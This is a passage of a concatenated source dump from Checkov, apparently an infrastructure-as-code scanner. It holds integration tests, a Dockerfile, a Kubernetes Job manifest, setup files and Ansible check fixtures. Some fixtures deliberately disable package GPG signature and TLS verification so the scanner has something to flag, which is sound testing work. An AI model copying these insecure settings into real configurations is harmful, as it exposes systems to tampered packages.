.getElementsByTagNameNS("*", "id")[0] .firstChild.nodeValue ) self.assertTrue(vulnrability_file.startswith("CKV")) if __name__ == "__main__": unittest.main() ================================================ FILE: integration_tests/test_checkov_ext_module_cloning.py ================================================ import os import unittest import sys import platform current_dir = os.path.dirname(os.path.realpath(__file__)) ext_modules_path = os.path.join(current_dir, "example_ext_private_modules", ".external_modules") class TestCheckovExtModuleCloning(unittest.TestCase): def test_private_github_modules_api_key(self): if sys.version_info[1] == 8 and platform.system() == 'Linux' and False: expected_private_github_path = os.path.join(ext_modules_path, "github.com", "ckv-tests") expected_private_github_modules = [os.path.join(expected_private_github_path, "terraform-aws-iam-s3-user-private"), os.path.join(expected_private_github_path, "terraform-aws-s3-bucket-private")] for m in expected_private_github_modules: assert os.path.exists(m) def test_private_tfc_modules_api_key(self): if sys.version_info[1] == 8 and platform.system() == 'Linux' and False: expected_private_tfc_path = os.path.join(ext_modules_path, "app.terraform.io", "panw-bridgecrew") expected_private_tfc_modules = [ os.path.join(expected_private_tfc_path, "iam-s3-user", "aws", "0.15.7"), os.path.join(expected_private_tfc_path, "s3-bucket1", "aws", "0.0.2")] for m in expected_private_tfc_modules: assert os.path.exists(m) ================================================ FILE: integration_tests/test_checkov_json_report.py ================================================ import itertools import json import os import sys import unittest current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovJsonReport(unittest.TestCase): def test_terragoat_report(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat.json') self.validate_report(os.path.abspath(report_path)) def test_kustomizegoat_report(self): if not sys.platform.startswith('win'): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kustomizegoat.json') self.validate_report(os.path.abspath(report_path)) def test_cfngoat_report(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_cfngoat.json') self.validate_report(os.path.abspath(report_path)) # self.validate_check_in_report(report_path, "CKV2_AWS_26") def test_k8goat_report(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kubernetes-goat.json') self.validate_report(os.path.abspath(report_path)) def test_k8goat_report_not_win(self): if not sys.platform.startswith('win'): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kubernetes-goat-helm.json') self.validate_report(os.path.abspath(report_path)) def test_checkov_report_terragoat_with_skip(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat_with_skip.json') checkov2_graph_findings = 0 with open(report_path) as json_file: data = json.load(json_file) for check_result in data["results"]["passed_checks"]: self.assertNotEqual(check_result["check_id"], "CKV_AWS_33") self.assertNotEqual(check_result["check_id"], "CKV_AWS_41") if check_result["check_id"].startswith('CKV2'): checkov2_graph_findings += 1 # self.assertGreater(checkov2_graph_findings, 5) # Commented out as it's causing failures and might be outdated def validate_report(self, report_path): with open(report_path) as json_file: data = json.load(json_file) if isinstance(data, list): for framework_report in data: self.validate_report_not_empty(framework_report) else: self.validate_report_not_empty(data) def validate_report_not_empty(self, report): self.assertEqual(report["summary"]["parsing_errors"], 0, f"expecting 0 parsing errors but got: {report['results']['parsing_errors']}") self.assertGreater(report["summary"]["failed"], 1, f"expecting more than 1 failed checks, got: {report['summary']['failed']}") self.assertGreater(report['results']['failed_checks'][0]['file_line_range'][1], 0) def validate_json_quiet(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_cfngoat_quiet.json') with open(report_path) as json_file: data = json.load(json_file) self.assertTrue(data["results"]["failed_checks"]) self.assertFalse(data["results"]["passed_checks"]) self.assertTrue(data["summary"]) def validate_check_in_report(self, report_path, check_id): with open(report_path) as json_file: data = json.load(json_file)[0] assert any(check["check_id"] == check_id for check in itertools.chain(data["results"]["failed_checks"], data["results"]["passed_checks"])) if __name__ == '__main__': unittest.main() ================================================ FILE: integration_tests/test_checkov_junit_report.py ================================================ import unittest import os import xml.etree.ElementTree as ET current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovJunitReport(unittest.TestCase): def test_terragoat_junit_report(self): report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat.xml') tree = ET.parse(report_path) root = tree.getroot() self.assertEqual(root.attrib['errors'], '0') ================================================ FILE: integration_tests/test_checkov_platform_only_policies.py ================================================ import platform import sys import unittest import re from pathlib import Path from checkov.common.models.consts import ckv_check_id_pattern current_dir = Path(__file__).parent class TestCheckovPlatformOnlyPolicies(unittest.TestCase): def test_no_ckv_ids_api_key(self): checks_list_path = current_dir.parent / 'checkov_checks_list.txt' if sys.version_info[1] == 8 and platform.system() == 'Linux': with open(checks_list_path, encoding='utf-8') as f: for i, line in enumerate(f): if i in [0, 1]: # skip the header lines continue line = "".join(line.split()) if line and isinstance(line, str): if line == "---": # end of table continue check_id = line.split('|')[2] ckv_ids = re.match(ckv_check_id_pattern, check_id) self.assertFalse(ckv_ids) if __name__ == '__main__': unittest.main() ================================================ FILE: integration_tests/test_checkov_sarif_report.py ================================================ import json import os import unittest current_dir = os.path.dirname(os.path.realpath(__file__)) class TestCheckovSarifReport(unittest.TestCase): def test_terragoat_report(self): report_path = os.path.join(os.path.dirname(current_dir), 'results.sarif') self.validate_report(os.path.abspath(report_path)) def validate_report(self, report_path): with open(report_path) as json_file: data = json.load(json_file) if isinstance(data, list): for framework_report in data: self.validate_report_not_empty(framework_report) else: self.validate_report_not_empty(data) def validate_report_not_empty(self, report): self.assertEqual(report["runs"][0]['tool']['driver']['name'], "Checkov") self.assertGreater(len(report["runs"][0]['results']), 1, "expecting more than 1 failed checks") if __name__ == '__main__': unittest.main() ================================================ FILE: kubernetes/Dockerfile ================================================ FROM python:3.11-slim ENV RUN_IN_DOCKER=True RUN apt-get update \ && apt-get install -y --no-install-recommends git curl \ && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \ && rm -rf /var/lib/apt/lists/*; COPY kubernetes/requirements.txt /requirements.txt # Install checkov RUN pip install -r /requirements.txt RUN curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl \ && chmod +x kubectl && mv kubectl /usr/local/bin RUN groupadd -g 12000 -r checkov && useradd -u 12000 --no-log-init -r -g checkov checkov RUN mkdir /data && mkdir /app && mkdir /home/checkov RUN chown checkov:checkov /data /app /home/checkov RUN curl -L -o /usr/bin/yq https://github.com/mikefarah/yq/releases/download/v4.16.2/yq_linux_amd64 \ && chmod +x /usr/bin/yq COPY kubernetes/run_checkov.sh /app WORKDIR /app RUN chown checkov:checkov /app/run_checkov.sh && chmod +x /app/run_checkov.sh ENTRYPOINT ["/app/run_checkov.sh"] ================================================ FILE: kubernetes/README.md ================================================ # Checkov Runtime Checkov is an infrastructure as code scanning tool which provides static code analysis for infrastructure prior to deploying. Since Kubernetes resources can be defined as code in runtime, Checkov can be used for scanning in runtime. A caveat to this is that typically checkov reports on the file that is not compliant, but in runtime there is no concept of files. ## Usage Checkov can be deployed in Kubernetes as a Job to get immediate feedback on the state of resources in your cluster. ```$xslt kubectl apply -f https://raw.githubusercontent.com/bridgecrewio/checkov/main/kubernetes/checkov-job.yaml ``` Review the output of the job. ```$xslt kubectl get jobs -n checkov kubectl logs job/checkov -n checkov ``` ================================================ FILE: kubernetes/checkov-job.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: checkov --- apiVersion: v1 kind: ServiceAccount metadata: name: checkov namespace: checkov --- ### View all resources EXCEPT secrets apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: checkov-view rules: - apiGroups: - "" resources: - configmaps - endpoints - persistentvolumeclaims - pods - replicationcontrollers - replicationcontrollers/scale - serviceaccounts - services verbs: - get - list - watch - apiGroups: - "" resources: - bindings - events - limitranges - namespaces/status - pods/log - pods/status - replicationcontrollers/status - resourcequotas - resourcequotas/status verbs: - get - list - watch - apiGroups: - "" resources: - namespaces verbs: - get - list - watch - apiGroups: - apps resources: - controllerrevisions - daemonsets - deployments - deployments/scale - replicasets - replicasets/scale - statefulsets - statefulsets/scale verbs: - get - list - watch - apiGroups: - autoscaling resources: - horizontalpodautoscalers verbs: - get - list - watch - apiGroups: - batch resources: - cronjobs - jobs verbs: - get - list - watch - apiGroups: - extensions resources: - daemonsets - deployments - deployments/scale - ingresses - networkpolicies - podsecuritypolicies - replicasets - replicasets/scale - replicationcontrollers/scale verbs: - get - list - watch - apiGroups: - policy resources: - poddisruptionbudgets - podsecuritypolicies verbs: - get - list - watch - apiGroups: - networking.k8s.io resources: - ingresses - networkpolicies verbs: - get - list - watch - apiGroups: - metrics.k8s.io resources: - pods - nodes verbs: - get - list - watch - apiGroups: - rbac.authorization.k8s.io resources: - rolebindings - roles - clusterrolebindings - clusterroles verbs: - get - list - watch --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: checkov subjects: - kind: ServiceAccount name: checkov namespace: checkov roleRef: kind: ClusterRole name: checkov-view apiGroup: rbac.authorization.k8s.io --- apiVersion: batch/v1 kind: Job metadata: name: checkov namespace: checkov annotations: checkov.io/skip1: CKV_K8S_22=Checkov requires filesystem write access to dump resource definitions checkov.io/skip2: CKV_K8S_38=Service Account is required for read-only API access checkov.io/skip3: CKV_K8S_14=Preferring latest rules every run - image pull always checkov.io/skip4: CKV_K8S_43=Preferring latest rules every run - image pull always spec: template: metadata: annotations: checkov.io/skip1: CKV_K8S_22=Checkov requires filesystem write access to dump resource definitions checkov.io/skip2: CKV_K8S_38=Service Account is required for read-only API access checkov.io/skip3: CKV_K8S_14=Preferring latest rules every run - image pull always checkov.io/skip4: CKV_K8S_43=Preferring latest rules every run - image pull always spec: securityContext: runAsUser: 12000 runAsNonRoot: true seccompProfile: type: RuntimeDefault restartPolicy: Never serviceAccountName: checkov containers: - name: checkov image: bridgecrew/checkov-k8s:latest imagePullPolicy: Always resources: requests: memory: "256Mi" cpu: "500m" limits: memory: "256Mi" cpu: "500m" securityContext: allowPrivilegeEscalation: false capabilities: drop: - ALL ================================================ FILE: kubernetes/requirements.txt ================================================ checkov==3.2.510 ================================================ FILE: kubernetes/run_checkov.sh ================================================ #!/bin/sh ################################################################################ # Download all Kubernetes resources and run checkov against them ################################################################################ # kubectl api-resources --verbs=list --namespaced -o name | xargs -n1 -I{} bash -c "kubectl get {} --all-namespaces -oyaml && echo ---" RESOURCES="clusterroles clusterrolebindings configmaps cronjobs daemonsets deployments endpoints horizontalpodautoscalers ingresses jobs limitranges networkpolicies poddisruptionbudgets pods podsecuritypolicies replicasets replicationcontrollers resourcequotas roles rolebindings serviceaccounts services statefulsets" for resource in $RESOURCES; do kubectl get $resource --all-namespaces -oyaml | yq eval 'del(.items[] | select(.metadata.ownerReferences)) ' - > /data/runtime.${resource}.yaml done if [ -f /etc/checkov/apikey ]; then apikey=$(cat /etc/checkov/apikey) if [ -f /etc/checkov/repoid ]; then repoid=$(cat /etc/checkov/repoid) else repoid="runtime/unknown" fi checkov -s -d /data --bc-api-key "$apikey" --repo-id "$repoid" --branch runtime --framework kubernetes "$@" else checkov -s -d /data --framework kubernetes "$@" fi ================================================ FILE: mypy.ini ================================================ [mypy] mypy_path = extra_stubs files = checkov exclude = checkov/(cloudformation/checks|terraform/checks) strict = True disallow_subclassing_any = False implicit_reexport = True show_error_codes = True [mypy-configargparse.*] ignore_missing_imports = True [mypy-dpath.*] ignore_missing_imports = True [mypy-networkx.*] ignore_missing_imports = True [mypy-checkov.*] follow_imports = skip [mypy-asteval.*] ignore_missing_imports = True [mypy-click.*] ignore_missing_imports = True ================================================ FILE: performance_tests/__init__.py ================================================ ================================================ FILE: performance_tests/pytest.ini ================================================ # Empty pytest conf file to not use pytest-xdist args from root folder pytest configuration [pytest] ================================================ FILE: performance_tests/test_checkov_performance.py ================================================ import os import platform import pytest import time from checkov.cloudformation.runner import Runner as cfn_runner from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.util.banner import banner from checkov.kubernetes.runner import Runner as k8_runner from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner as tf_runner # Ensure repo_name is a cloned repository into performance_tests directory. # Thresholds are in ms, and are set to the current maximum duration of checkov on the repository performance_configurations = { 'terraform': { 'repo_name': 'terraform-aws-components', 'threshold': { "Darwin": 19.0, "Linux": 15.0, "Windows": 15.0, } }, 'cloudformation': { 'repo_name': 'aws-cloudformation-templates', 'threshold': { "Darwin": 350.0, "Linux": 170.0, "Windows": 300.0, } }, 'kubernetes': { 'repo_name': 'kubernetes-yaml-templates', 'threshold': { "Darwin": 550.0, "Linux": 180.0, "Windows": 500.0, } } } DEVIATION_PERCENT = 10 SYSTEM_NAME = platform.system() @pytest.mark.benchmark( group="terraform-performance-tests", disable_gc=True, min_time=0.1, max_time=0.5, min_rounds=10, timer=time.time, warmup=False, ) def test_terraform_performance(benchmark): repo_name = performance_configurations['terraform']['repo_name'] repo_threshold = performance_configurations['terraform']['threshold'][SYSTEM_NAME] def run_terraform_scan(): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, repo_name) runner_filter = RunnerFilter() runner_registry = RunnerRegistry(banner, runner_filter, tf_runner()) reports = runner_registry.run(root_folder=test_files_dir) assert len(reports) > 0 benchmark(run_terraform_scan) assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100.0) * repo_threshold @pytest.mark.benchmark( group="cloudformation-performance-tests", disable_gc=True, min_time=0.1, max_time=0.5, min_rounds=10, timer=time.time, warmup=False ) def test_cloudformation_performance(benchmark): repo_name = performance_configurations['cloudformation']['repo_name'] repo_threshold = performance_configurations['cloudformation']['threshold'][SYSTEM_NAME] def run_cloudformation_scan(): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, repo_name) runner_filter = RunnerFilter() runner_registry = RunnerRegistry(banner, runner_filter, cfn_runner()) reports = runner_registry.run(root_folder=test_files_dir) assert len(reports) > 0 benchmark(run_cloudformation_scan) assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100) * repo_threshold @pytest.mark.benchmark( group="kubernetes-performance-tests", disable_gc=True, min_time=0.1, max_time=0.5, min_rounds=10, timer=time.time, warmup=False ) def test_k8_performance(benchmark): repo_name = performance_configurations['kubernetes']['repo_name'] repo_threshold = performance_configurations['kubernetes']['threshold'][SYSTEM_NAME] def run_kubernetes_scan(): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, repo_name) runner_filter = RunnerFilter() runner_registry = RunnerRegistry(banner, runner_filter, k8_runner()) reports = runner_registry.run(root_folder=test_files_dir) assert len(reports) > 0 benchmark(run_kubernetes_scan) assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100) * repo_threshold ================================================ FILE: pyproject.toml ================================================ [tool.bandit] exclude_dirs = [ "tests" ] [tool.black] line-length = 120 [tool.importlinter] root_package = "checkov" exclude_type_checking_imports = true [[tool.importlinter.contracts]] name = "common forbidden to import other modules" type = "forbidden" source_modules = [ "checkov.common", ] forbidden_modules = [ "checkov.ansible", "checkov.argo_workflows", "checkov.arm", "checkov.azure_pipelines", "checkov.bicep", "checkov.bitbucket", "checkov.bitbucket_pipelines", "checkov.cdk", "checkov.circleci_pipelines", "checkov.cloudformation", "checkov.dockerfile", "checkov.example_runner", "checkov.github", "checkov.github_actions", "checkov.gitlab", "checkov.gitlab_ci", "checkov.helm", "checkov.json_doc", "checkov.kubernetes", "checkov.kustomize", "checkov.openapi", "checkov.policies_3d", "checkov.sast", "checkov.sca_image", "checkov.sca_package_2", "checkov.secrets", "checkov.serverless", "checkov.terraform", "checkov.terraform_json", "checkov.yaml_doc", ] ignore_imports = [ "checkov.common.util.json_utils -> checkov.terraform.modules.module_objects", # needed for JSON serialization "checkov.common.bridgecrew.integration_features.features.policies_3d_integration -> checkov.policies_3d.*", # considering what to do "checkov.common.bridgecrew.integration_features.features.vulnerabilities_integration -> checkov.sast.report", # considering what to do "checkov.common.runners.base_post_runner -> checkov.policies_3d.checks_infra.base_check", # considering what to do "checkov.common.runners.runner_registry -> checkov.terraform.context_parsers.registry", # move runner_registry to a different place "checkov.common.runners.runner_registry -> checkov.terraform.tf_parser", # move runner_registry to a different place "checkov.common.runners.runner_registry -> checkov.terraform.modules.module_objects", # Should fix usage of get_enriched_resources "checkov.common.output.report -> checkov.policies_3d.output", # move to checkov.common.output "checkov.common.output.report -> checkov.sca_package_2.output", # move to checkov.common.output "checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver -> checkov.terraform.graph_builder.graph_components.block_types", # move to checkov.common.graph.graph_builder.graph_components? "checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver -> checkov.terraform.graph_builder.graph_components.block_types", # move to checkov.common.graph.graph_builder.graph_components? "checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver -> checkov.terraform.graph_builder.graph_components.block_types", # move to checkov.common.graph.graph_builder.graph_components? "checkov.common.runners.runner_registry -> checkov.sca_image.runner", # old IR, needs to be removed (argo_workflows, bitbucket_pipelines) ] [[tool.importlinter.contracts]] name = "kubernetes forbidden to import its children" type = "forbidden" source_modules = [ "checkov.kubernetes", ] forbidden_modules = [ "checkov.helm", "checkov.kustomize", ] [[tool.importlinter.contracts]] name = "sast forbidden to import its children" type = "forbidden" source_modules = [ "checkov.sast", ] forbidden_modules = [ "checkov.cdk.runner", ] [[tool.importlinter.contracts]] name = "terraform forbidden to import its children" type = "forbidden" source_modules = [ "checkov.terraform", ] forbidden_modules = [ "checkov.terraform_json", ] [[tool.importlinter.contracts]] name = "object runners forbidden to import its children" type = "forbidden" source_modules = [ "checkov.json_doc", "checkov.yaml_doc", ] forbidden_modules = [ "checkov.ansible", "checkov.argo_workflows", "checkov.azure_pipelines", "checkov.bitbucket", "checkov.bitbucket_pipelines", "checkov.circleci_pipelines", "checkov.example_runner", "checkov.github", "checkov.github_actions", "checkov.gitlab", "checkov.gitlab_ci", "checkov.openapi", ] [[tool.importlinter.contracts]] # this one is a bit special, because 'bicep' is not a real child of 'arm' but it leverages the checks written for 'arm' name = "bicep forbidden to import arm" type = "forbidden" source_modules = [ "checkov.bicep", ] forbidden_modules = [ "checkov.arm", ] [tool.pytest.ini_options] addopts = "-n 2 --dist loadfile" ================================================ FILE: sast_integration_tests/__init__.py ================================================ ================================================ FILE: sast_integration_tests/prepare_data.sh ================================================ #!/bin/bash export SAVE_SAST_REPORT_LOCALLY=TRUE pipenv run checkov -s --framework sast_python -d flask --repo-id cli/flask -o json --output-file-path checkov_report_sast_python.json, pipenv run checkov -s --framework sast_java -d WebGoat --repo-id cli/webgoat -o json --output-file-path checkov_report_sast_java.json, pipenv run checkov -s --framework sast_javascript -d axios --repo-id cli/axios -o json --output-file-path checkov_report_sast_javascript.json, ================================================ FILE: sast_integration_tests/run_integration_tests.sh ================================================ #!/bin/bash set -e # In order to run this script set the following environment variables: # BC_API_URL - your API url. # BC_KEY - generate API key via Platform. # You can also add the local SAST_ARTIFACT_PATH and LOG_LEVEL. # You can also set those vars in the set_env_vars() function, and uncomment the call to it. # The working dir should be the checkov project dir. # For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=xyz LOG_LEVEL=Info /Users/ajbara/dev2/checkov/sast_integration_tests/run_integration_tests.sh set_env_vars() { export SAST_ARTIFACT_PATH="" export BC_API_KEY="" export LOG_LEVEL=DEBUG export PRISMA_API_URL="https://api0.prismacloud.io" } set_env_vars_local_sast_report() { export SAVE_SAST_REPORT_LOCALLY=TRUE } prepare_data () { python checkov/main.py -s --framework sast_python -d repositories/flask --repo-id cli/flask -o json > checkov_report_sast_python.json python checkov/main.py -s --framework sast_java -d repositories/WebGoat --repo-id cli/WebGoat -o json > checkov_report_sast_java.json python checkov/main.py -s --framework sast_javascript -d repositories/axios --repo-id cli/axios -o json > checkov_report_sast_javascript.json } clone_repositories () { echo Clone flask - Python repo for SAST; git clone https://github.com/pallets/flask echo Clone WebGoat - Java repo for SAST git clone https://github.com/WebGoat/WebGoat echo Clone axios - JavaScript repo for SAST git clone https://github.com/axios/axios } delete_repositories () { rm -rf repositories } delete_reports () { rm -r checkov_report* } #set_env_vars set_env_vars_local_sast_report echo $BC_API_KEY if [[ -z "BC_API_KEY" ]]; then echo "BC_API_KEY is missing." exit 1 fi echo $PRISMA_API_URL if [[ -z "PRISMA_API_URL" ]]; then echo "PRISMA_API_URL is missing." exit 1 fi # Create repositories dir mkdir repositories cd repositories echo "Cloning repositories" clone_repositories cd .. if [ ! -z "$VIRTUAL_ENV" ]; then deactivate fi #activate virtual env ENV_PATH=$(pipenv --venv) echo $ENV_PATH source $ENV_PATH/bin/activate working_dir=$(pwd) # should be the path of local checkov project export PYTHONPATH="$working_dir/checkov:$PYTHONPATH" prepare_data #Run integration tests. echo "running integration tests" pytest sast_integration_tests deactivate echo "Deleting reports and repositories." delete_reports delete_repositories ================================================ FILE: sast_integration_tests/test_checkov_sast_report.py ================================================ import json import os current_dir = os.path.dirname(os.path.realpath(__file__)) def test_sast_python() -> None: report_path = os.path.join(current_dir, '..', 'checkov_report_sast_python.json') validate_report(os.path.abspath(report_path)) def test_sast_java() -> None: report_path = os.path.join(current_dir, '..', 'checkov_report_sast_java.json') validate_report(os.path.abspath(report_path)) def test_sast_javascript() -> None: report_path = os.path.join(current_dir, '..', 'checkov_report_sast_javascript.json') validate_report(os.path.abspath(report_path)) def test_sast_platform_report_python() -> None: report_path = '/tmp/sast_python_report.json' validate_platform_report(os.path.abspath(report_path), 'python') def test_sast_platform_report_java() -> None: report_path = '/tmp/sast_java_report.json' validate_platform_report(os.path.abspath(report_path), 'java') def test_sast_platform_report_javascript() -> None: report_path = '/tmp/sast_javascript_report.json' validate_platform_report(os.path.abspath(report_path), 'javascript') def validate_report(report_path: str) -> None: with open(report_path) as f: data = f.read() report = json.loads(data) assert report is not None results = report.get("results") assert results is not None passed_checks = results.get("passed_checks") failed_checks = results.get("failed_checks") assert not passed_checks assert failed_checks is not None assert isinstance(failed_checks, list) assert len(failed_checks) > 0 summary = report.get("summary") assert summary.get("passed") == 0 assert summary.get("failed") > 0 assert summary.get("policies_errors_count") == 0 def validate_platform_report(report_path: str, lang: str) -> None: with open(report_path) as f: data = f.read() report = json.loads(data) assert report is not None rule_matches = report.get("rule_match") assert rule_matches is not None for check_id, check in rule_matches.get(lang).items(): assert check.get('check_id') == check_id sast_match = check.get('matches')[0] assert sast_match['location']['path'] != "" assert sast_match['location']['code_block'] != "" ================================================ FILE: setup.py ================================================ #!/usr/bin/env python import json import logging import os from importlib import util from os import path from pathlib import Path from setuptools import setup, find_packages from setuptools.command.build_py import build_py class PreBuildCommand(build_py): """Pre-build command""" def transform_graph_yaml_to_json(self) -> None: """Transforms YAML graph checks to JSON and copies them to build/lib""" import yaml # can't be top-level, because it needs to be first installed via 'setup_requires' graph_check_paths = ("checkov/*/checks/graph_checks",) build_path = Path(self.build_lib) src_path = Path() for graph_check_path in graph_check_paths: for yaml_file in src_path.glob(f"{graph_check_path}/**/*.yaml"): json_file = (build_path / yaml_file).with_suffix(".json") self.mkpath(str(json_file.parent)) json_file.write_text(json.dumps(yaml.safe_load(yaml_file.read_text()))) def run(self) -> None: self.execute(self.transform_graph_yaml_to_json, ()) build_py.run(self) # read the contents of your README file this_directory = path.abspath(path.dirname(__file__)) with open(path.join(this_directory, "README.md"), encoding="utf-8") as f: long_description = f.read() logger = logging.getLogger(__name__) spec = util.spec_from_file_location( "checkov.version", os.path.join("checkov", "version.py") ) # noinspection PyUnresolvedReferences mod = util.module_from_spec(spec) spec.loader.exec_module(mod) # type: ignore version = mod.version # type: ignore setup( cmdclass={ "build_py": PreBuildCommand, }, setup_requires=[ "pyyaml", ], extras_require={ "dev": [ "pytest<8.0.0", "coverage==7.6.1", "coverage-badge", "GitPython==3.1.41", "bandit", "jsonschema", ] }, install_requires=[ "bc-python-hcl2==0.4.3", "bc-detect-secrets==1.5.47", "bc-jsonpath-ng==1.6.1", "pycep-parser==0.5.1", "tabulate>=0.9.0,<0.10.0", "colorama>=0.4.3,<0.5.0", "termcolor>=1.1.0,<2.4.0", "junit-xml>=1.9,<2.0", "dpath==2.1.3", "pyyaml<7.0.0,>=6.0.0", "boto3==1.35.49", "gitpython>=3.1.30,<4.0.0", "jmespath>=1.0.0,<2.0.0", "tqdm<5.0.0,>=4.65.0", "packaging>=23.0,<24.0", "cloudsplaining<0.8.0,>=0.7.0", "networkx<2.7", "dockerfile-parse<3.0.0,>=2.0.0", "docker>=6.0.1,<8.0.0", "configargparse>=1.5.3,<2.0.0", "argcomplete<4.0.0,>=3.0.0", "typing-extensions<5.0.0,>=4.5.0", "importlib-metadata>=6.0.0,<8.0.0", "cachetools>=5.2.0,<6.0.0", "cyclonedx-python-lib<8.0.0,>=6.0.0", "packageurl-python<0.14.0,>=0.11.1", "click<9.0.0,>=8.1.0", "aiohttp<4.0.0,>=3.8.0", "aiodns<4.0.0,>=3.0.0", "aiomultiprocess>=0.9.0,<0.10.0", "schema<=0.7.5", "jsonschema<5.0.0,>=4.17.0", "prettytable<4.0.0,>=3.6.0", "charset-normalizer<4.0.0,>=3.1.0", "pyston-autoload==2.3.5; python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'", "pyston==2.3.5; python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'", "requests<3.0.0,>=2.28.0", "yarl<2.0.0,>=1.9.1", "spdx-tools>=0.8.0,<0.9.0", "license-expression<31.0.0,>=30.1.0", "rustworkx>=0.13.0,<1.0.0", "pydantic<3.0.0,>=2.0.0", "asteval==1.0.6", "urllib3>=1.26.20" ], dependency_links=[], # keep it empty, needed for pipenv-setup license="Apache License 2.0", name="checkov", version=version, python_requires=">=3.9", description="Infrastructure as code static analysis", author="bridgecrew", author_email="meet@bridgecrew.io", url="https://github.com/bridgecrewio/checkov", packages=find_packages( exclude=[ "dogfood_tests*", "flake8_plugins*", "integration_tests*", "performance_tests*", "tests*", ] ), include_package_data=True, package_data={ "checkov": ["py.typed"], "checkov.common.util.templates": ["*.jinja2"], "checkov.ansible.checks.graph_checks": ["**/*.json"], "checkov.arm.checks.graph_checks": ["**/*.json"], "checkov.bicep.checks.graph_checks": ["**/*.json"], "checkov.cloudformation.checks.graph_checks": ["**/*.json"], "checkov.dockerfile.checks.graph_checks": ["**/*.json"], "checkov.github_actions.checks.graph_checks": ["**/*.json"], "checkov.kubernetes.checks.graph_checks": ["**/*.json"], "checkov.terraform.checks.graph_checks": ["**/*.json"], "checkov.cdk.checks": [ "python/*.yaml", "typescript/*.yaml", ], }, scripts=["bin/checkov", "bin/checkov.cmd"], long_description=long_description, long_description_content_type="text/markdown", classifiers=[ "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: System Administrators", "License :: OSI Approved :: Apache Software License", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Topic :: Security", "Topic :: Software Development :: Build Tools", "Typing :: Typed", ], ) ================================================ FILE: tests/__init__.py ================================================ ================================================ FILE: tests/ansible/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/graph_checks/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/graph_checks/resources/BlockErrorHandling/expected.yaml ================================================ pass: - "block.Handle the error" fail: - "block.Install, configure, and start Apache" evaluated_keys: - "rescue" ================================================ FILE: tests/ansible/checks/graph_checks/resources/BlockErrorHandling/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: Install, configure, and start Apache block: - name: Install httpd and memcached ansible.builtin.yum: name: - httpd - memcached sslverify: False state: latest - name: Apply the foo config template ansible.builtin.template: src: templates/src.j2 dest: /etc/foo.conf - name: Start service bar and enable it ansible.builtin.service: name: bar state: started enabled: True when: ansible_facts['distribution'] == 'CentOS' become: true become_user: root ignore_errors: true ================================================ FILE: tests/ansible/checks/graph_checks/resources/BlockErrorHandling/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: Handle the error block: - name: Print a message ansible.builtin.debug: msg: 'I execute normally' - name: Force a failure ansible.builtin.command: /bin/false - name: Never print this ansible.builtin.debug: msg: 'I never execute, due to the above task failing, :-(' rescue: - name: Print when errors ansible.builtin.debug: msg: 'I caught an error, can do stuff here to fix it, :-)' ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/expected.yaml ================================================ pass: - "tasks.ansible.builtin.dnf.long_unused" - "tasks.dnf.short_unused" - "tasks.ansible.builtin.dnf.long_false" - "tasks.dnf.short_false" - "tasks.ansible.builtin.dnf.long_no" - "tasks.dnf.short_no" - "tasks.ansible.builtin.dnf.long_off" - "tasks.dnf.short_off" fail: - "tasks.ansible.builtin.dnf.long_true" - "tasks.dnf.short_true" - "tasks.ansible.builtin.dnf.long_yes" - "tasks.dnf.short_yes" - "tasks.ansible.builtin.dnf.long_YES" - "tasks.dnf.short_TRUE" evaluated_keys: - disable_gpg_check ================================================ FILE: tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_true ansible.builtin.dnf: name: nikto state: latest disable_gpg_check: true - name: short_true dnf: name: nikto state: latest disable_gpg_check: true - name: long_yes ansible.builtin.dnf: name: nikto state: latest disable_gpg_check: yes - name: short_yes dnf: name: nikto state: latest disable_gpg_check: Yes - name: long_YES ansible.builtin.dnf: name: nikto state: latest disable_gpg_check: YES - name: short_TRUE dnf: name: 